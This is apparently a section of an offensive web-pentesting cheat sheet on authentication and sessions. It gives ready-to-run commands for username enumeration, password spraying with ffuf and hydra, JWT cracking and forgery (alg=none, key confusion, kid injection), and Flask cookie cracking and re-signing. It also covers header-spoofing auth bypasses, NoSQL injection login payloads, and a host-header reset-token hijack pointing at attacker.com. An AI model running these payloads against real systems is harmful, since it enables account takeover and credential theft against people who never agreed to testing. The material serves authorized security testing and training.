Auth & Session
Sections Auth & Session
Bypass auth, hijack sessions, attack JWTs, spray creds, break OAuth/SAML flows.
T=https://target.com
i. Where it lives
Surfaces to check on every web app:
- Login form (username/password, plus the API endpoint behind it)
- Registration (often enumerates valid usernames)
- Password reset (token analysis, timing, host header injection)
- “Remember me” cookies, session cookies, CSRF tokens
- JWTs anywhere (Authorization header, cookies, localStorage)
- OAuth callbacks, SAML assertions, OpenID flows
- MFA challenge endpoints
- API tokens, refresh tokens
ii. User enumeration
Different responses for valid vs invalid usernames are the first crack in the wall.
Probe login error messages:
## Quick test: known-bad vs guessed-valid
curl -sX POST "$T/login" -d 'user=admin&pass=x' | sha256sum
curl -sX POST "$T/login" -d 'user=fakeuser123&pass=x' | sha256sum
## Different hashes = different responses = enum exists
Common enum primitives:
- Different error message for unknown user vs wrong password
- Different status code (200 vs 302)
- Different response time (bcrypt only runs for valid users)
- Password reset reveals “no account found” vs “email sent”
- Registration form rejects existing usernames
ffuf for time-based enum:
ffuf -u "$T/login" -X POST \
-d 'user=FUZZ&pass=invalid' \
-w usernames.txt \
-ot 0.5 ## flag responses faster/slower than 0.5s
iii. Password spraying online
Always check lockout policy first. Look at:
- Account lock after N failures (test with 1 known account, 5+ wrong passwords)
- Rate limiting per IP (test fast burst)
- CAPTCHA after N failures
ffuf spray:
ffuf -u "$T/login" -X POST -d 'user=USER&pass=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' \
-w passwords.txt -mc all -fs <baseline_failed_size>
## Replace USER with each user, or pairs:
ffuf -u "$T/login" -X POST -d 'user=U&pass=P' \
-w users.txt:U -w passwords.txt:P -mode pitchfork
hydra against form login:
hydra -L users.txt -P passwords.txt "$T" http-post-form \
'/login:user=^USER^&pass=^PASS^:F=Invalid credentials'
Turbo Intruder (Burp extension) for high-speed concurrent spraying:
## Inside Burp, custom script for 100 req/sec parallel attempts
## Best when you need to dodge rate limits with timing tricks
One password per user per lockout window. If lockoutThreshold is 5, try max 4. See - Password Spraying for the safe-window math (the principle is the same here).
iv. JWTs
Decode and inspect first, attack second.
Decode any JWT (jq if base64 is clean, otherwise jwt_tool):
echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq
## or full tool:
jwt_tool "$JWT"
The jwt_tool subcommands cover every JWT attack:
## Read claims and check signature:
jwt_tool "$JWT"
## All known attacks at once:
jwt_tool "$JWT" -M at -t "$T/api/private" -rh "Authorization: Bearer $JWT"
## Crack HS256 secret:
jwt_tool "$JWT" -C -d /usr/share/wordlists/rockyou.txt
## Specific attacks:
jwt_tool "$JWT" -X a ## alg=none
jwt_tool "$JWT" -X k ## kid injection (SQLi/LFI/path)
jwt_tool "$JWT" -X i ## inject claims
jwt_tool "$JWT" -X s ## key confusion (RS256 -> HS256)
jwt_tool "$JWT" -S hs256 -p secret ## sign with a chosen secret
Hashcat for HS256/HS384/HS512:
hashcat -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
JWT attack quick reference:
alg=none- change algorithm to none, remove signature. Patched libraries reject this, old/custom ones still vulnerable.alg confusion RS256 -> HS256- sign with the server’s RSA public key as HMAC secret. Public key often in/jwks.json,/.well-known/jwks.json, or returned in API responses.kid header injection- kid (key ID) header may be passed to filesystem lookup, SQL query, or arbitrary URL fetch. Test path traversal, SQLi, SSRF.jku / x5u header pointing to attacker-controlled URL- server fetches your public key, validates signature against it.Brute force HS256 secret- weak secret words crack quickly with rockyou.
v. Session cookie analysis
Pull a cookie, decode it, look for structure:
## Common encodings:
echo "COOKIE" | base64 -d
echo "COOKIE" | base64 -d | gunzip ## sometimes gzipped
## URL decode wrapper:
python3 -c "import urllib.parse,sys;print(urllib.parse.unquote(sys.argv[1]))" "COOKIE"
Look for:
- Plain JSON / base64-JSON (often modifiable)
- Predictable structure (
user_id:1:timestamp:hash- modify user_id?) - Serialized objects (Java, PHP, .NET - see WEB14 Deserialization )
- Sequential IDs (replay another user’s session?)
- Missing HMAC / signature (mutate and check if rejected)
- Same cookie across different users (session fixation)
Burp Sequencer analyzes entropy across many tokens:
- Use when cookies look random but you want to confirm
- Generate 200+ samples via macro, paste into Sequencer
Flask session cookies (signed but readable):
flask-unsign --decode --cookie 'eyJ1c2VyIjoidGVzdCJ9.YxX...'
## Brute force the secret:
flask-unsign --unsign --cookie 'COOKIE' --wordlist rockyou.txt
## Re-sign with cracked secret:
flask-unsign --sign --cookie '{"user":"admin"}' --secret 'foundsecret'
Django sessions: usually unsigned dict in DB, signed cookie variant uses HMAC.
ASP.NET ViewState: signed and encrypted by machine key. If machine key leaks (often in web.config), you can forge ViewState. ysoserial.net wraps this attack.
vi. Cookie attribute audit
A cookie missing the right attributes is half a vuln on its own:
curl -sIv "$T/login" 2>&1 | grep -i set-cookie
## Look for:
## - HttpOnly missing -> XSS can steal it
## - Secure missing on HTTPS site -> MITM via downgrade
## - SameSite=None or absent -> CSRF easier
## - Domain= overly broad (.target.com) -> all subdomains receive
## - Long Max-Age -> persistent risk
vii. OAuth / OIDC
OAuth/OIDC flaws are about state, redirect_uri, and trust boundaries.
Quick checks:
- redirect_uri loose match:
https://target.com.attacker.com/callback,https://target.com/@attacker.com/callback,https://target.com//attacker.com/callback - State parameter missing or predictable: CSRF on the OAuth flow → account takeover
- PKCE not enforced on public clients
- Authorization code reuse: try presenting the same code twice
- Refresh token leakage in browser history / referer / logs
Reference reading:
viii. SAML
SAML attacks center on XML signature handling.
Common bugs:
- XML Signature Wrapping (XSW) - duplicate signed assertion, modify the copy, signature still valid
- Signature stripping - remove signature element, some libraries accept unsigned assertions
- Comment-based attacks -
username=admin<!--ignored-->attackerparsed differently by signature vs app - XXE in SAML - see WEB07 XXE
Tools:
- SAML Raider (Burp extension) - automates XSW attacks
- saml-tools (CLI) - encode/decode/sign
ix. MFA bypass patterns
When the user logged in but hasn’t completed MFA, the session token sometimes works for other endpoints:
- Direct endpoint access: navigate past
/mfa-verifyto/dashboarddirectly with the partial session - Race condition on
/mfa-verifyendpoint, brute force the 6-digit code - Re-use of intermediate token issued before MFA completion
- Backup code endpoint with no rate limit
- Account recovery flow that bypasses MFA entirely
For Microsoft / Entra ID specifically, see Azure section iii (Device Code Flow often bypasses Conditional Access).
x. Password reset flaws
Common bugs:
- Host header injection - server uses
Host:to build the reset URL. Inject your host, get the token sent to your link:
curl -X POST "$T/forgot" -H "Host: attacker.com" -d 'email=victim@target.com'
## Victim receives: https://attacker.com/reset?token=abc
- Predictable tokens (timestamp, sequential, MD5 of email+date)
- Token doesn’t expire after use or after time
- Email parameter abuse:
email=victim@target.com&email=attacker@evil.com- server uses last/first - Account confusion via duplicate params in HPP (HTTP Parameter Pollution)
- Reset link cross-account: token leakage in referer when victim clicks an external link from the reset page
xi. Tricks worth knowing
Forgotten endpoint registration
Many apps validate user input on registration but not on profile-update:
## Register: rejected username "admin" (has filter)
## Update profile: accepted username "admin" (no filter)
Email plus-tag uniqueness bypass
Some apps treat victim+1@target.com as unique but resolve to the same inbox:
attacker registers victim+1@gmail.com
victim's gmail receives the verification, doesn't notice the +1
Trim / case normalization mismatch
Login normalizes (lowercase, strip), registration doesn’t:
register "Admin " (with trailing space)
login as "admin" - same account
Header-based auth flag bypass
Some apps trust internal headers:
curl -H 'X-Forwarded-For: 127.0.0.1' "$T/admin"
curl -H 'X-Real-IP: 127.0.0.1' "$T/admin"
curl -H 'X-User: admin' "$T/api/me"
curl -H 'X-Original-URL: /admin' "$T/"
curl -H 'X-Rewrite-URL: /admin' "$T/"
Auth via different content-type
JSON body parsed less strictly than form-data sometimes:
curl "$T/login" -H 'Content-Type: application/json' -d '{"user":"admin","pass":"x"}'
curl "$T/login" -H 'Content-Type: application/json' -d '{"user":["admin"],"pass":"x"}' ## type confusion
curl "$T/login" -H 'Content-Type: application/json' -d '{"user":{"$ne":null},"pass":{"$ne":null}}' ## NoSQL, see [WEB04 NoSQL Injection](/cheatsheets/web/web04-nosql-injection/)
xii. References
- PortSwigger - Authentication
- PortSwigger - JWT
- PayloadsAllTheThings - JWT
- HackTricks - JWT abuse
- HackTricks - Login bypass
- PortSwigger - OAuth labs
- SAML Raider docs
xiii. Where it leads
- Cracked password → spray across all auth surfaces (web, SMB, SSH if internal)
- Forged JWT → API access as any user, often unlocks horizontal then vertical privilege
- Session token theft → full account takeover, then look for IDOR with the captured session
- OAuth/SAML flaw → cross-tenant or cross-app compromise
- MFA bypass → high-priv account takeover